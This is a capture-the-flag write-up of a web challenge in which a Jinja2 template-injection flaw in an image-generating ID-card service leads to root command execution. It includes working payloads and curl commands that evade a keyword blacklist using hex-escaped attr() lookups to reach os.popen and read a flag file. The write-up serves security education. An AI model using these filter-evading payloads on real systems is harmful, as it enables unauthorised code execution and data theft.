Nexus 2 - Kashi CTF 2026

vaLak 2026-04-03 Web

tl;dr

This challenge exposed a web service called PRISM // Identity Protocol. The interface was minimal: a single text field named name and a submit button labeled “Generate ID Card.” The hint — “The lights from the future have become stronger, you have to be careful boy!!!” — suggested something visual or rendering-related, so the first assumption was that the server takes user input and renders it into an image.

Challenge points: 500


Recon

curl -i -s http://34.126.223.46:18821/

Response showed a single HTML form:

<form method="POST">
    <input type="text" name="name" ...>
    <button type="submit">Generate ID Card</button>
</form>

No obvious API endpoints, scripts, or interesting static references.


Testing Normal Input

curl -i -s -X POST -d 'name=test' http://34.126.223.46:18821/

Instead of HTML, the server returned a PNG:

Content-Disposition: attachment; filename=prism_7cfd9bec.png
Content-Type: image/png

Inspecting the file:

file /tmp/prism_test.png
# PNG image data, 700 x 450, 8-bit/color RGB

The image showed the submitted name inside a “REGISTERED IDENTITY” field, establishing the basic flow:

  1. User submits name
  2. Server renders an HTML template
  3. Server converts / screenshots that template into a PNG
  4. PNG is returned to the user

SSTI Detection

Testing classic Jinja2 SSTI:

curl -s -X POST --data-urlencode "name={{7*7}}" http://34.126.223.46:18821/ -o /tmp/jinja.png

The generated image displayed 49server-side template injection confirmed. The input was being interpreted by Jinja2 before rendering into the card.

HTML injection was also tested (<b>bold</b>), but the card displayed it as a literal string. This was SSTI specifically, not HTML injection.


Initial RCE Attempt and Blacklist Discovery

The standard Jinja2 RCE payload:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Instead of a PNG, the server returned HTML containing:

<div class="error">Nice try, but that input is not allowed!</div>

The application had a blacklist rejecting strings like __globals__, os, popen, import, and builtins.


Bypassing the Blacklist

The goal: keep Jinja2 evaluation while avoiding blacklisted keywords literally.

The easiest allowed object was lipsum, which exists in Jinja environments by default:

curl -s -X POST --data-urlencode "name={{ lipsum }}" http://34.126.223.46:18821/ -o /tmp/lipsum.png

✅ This rendered successfully.

From there, instead of writing blocked names directly, blocked attribute names were accessed using hex-escaped strings inside attr():

{{ lipsum|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f') }}

This is __globals__ encoded so the blacklist never sees the forbidden substring. It rendered successfully, proving the bypass worked.

Next, accessing the os module through the globals dictionary:

{{ (lipsum|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f'))|attr('get')('\x6f\x73') }}

Rendered as: <module 'os' (frozen)> — access to os without ever writing __globals__ or os literally.


Getting Command Execution

Resolving popen the same way and calling it:

{{ (((lipsum|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f'))|attr('get')('\x6f\x73'))|attr('\x70\x6f\x70\x65\x6e'))('id')|attr('\x72\x65\x61\x64')() }}

The PNG rendered:

uid=0(root) gid=0(root) groups=0(root)

Full command execution confirmed. Server process running as root.


Reading the Flag

Final payload replacing id with cat /flag.txt:

{{ ((((lipsum|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f'))|attr('get')('\x6f\x73'))|attr('\x70\x6f\x70\x65\x6e'))('cat /flag.txt'))|attr('\x72\x65\x61\x64')() }}
curl -s -X POST --data-urlencode "name={{ ((((lipsum|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f'))|attr('get')('\x6f\x73'))|attr('\x70\x6f\x70\x65\x6e'))('cat /flag.txt'))|attr('\x72\x65\x61\x64')() }}" http://34.126.223.46:18821/ -o /tmp/flag_final.png

The returned image displayed the flag inside the ID card.


Flag

kashiCTF{txT98w0OITCLm4OX5IswmC2nvxakt8J5}

Exploit Chain Summary

StepAction
1Submit {{7*7}} → rendered as 49 → SSTI confirmed
2Submit blocked payload → error page → blacklist discovered
3Use lipsum as gadget root (not blacklisted)
4Access __globals__ via hex-encoded attr()
5Reach os module via .get('\x6f\x73')
6Call popen('id') via hex-encoded attribute name
7Confirm RCE as root
8Read /flag.txt

What to Learn

  • A generated image can still be a template injection target if user input is rendered into HTML before the screenshot/render step.
  • {{7*7}} remains one of the fastest and most reliable SSTI probes for Jinja2.
  • Blacklists are weak. If the sink is still reachable, encoding blocked strings often bypasses the filter.
  • Jinja2 helper globals like lipsum, namespace, and similar built-ins can become useful gadget roots.
  • attr() plus hex escapes is a strong blacklist bypass when dangerous attribute names are filtered.
  • Once command execution is confirmed, simplify: prove RCE → confirm privilege level → read /flag.txt.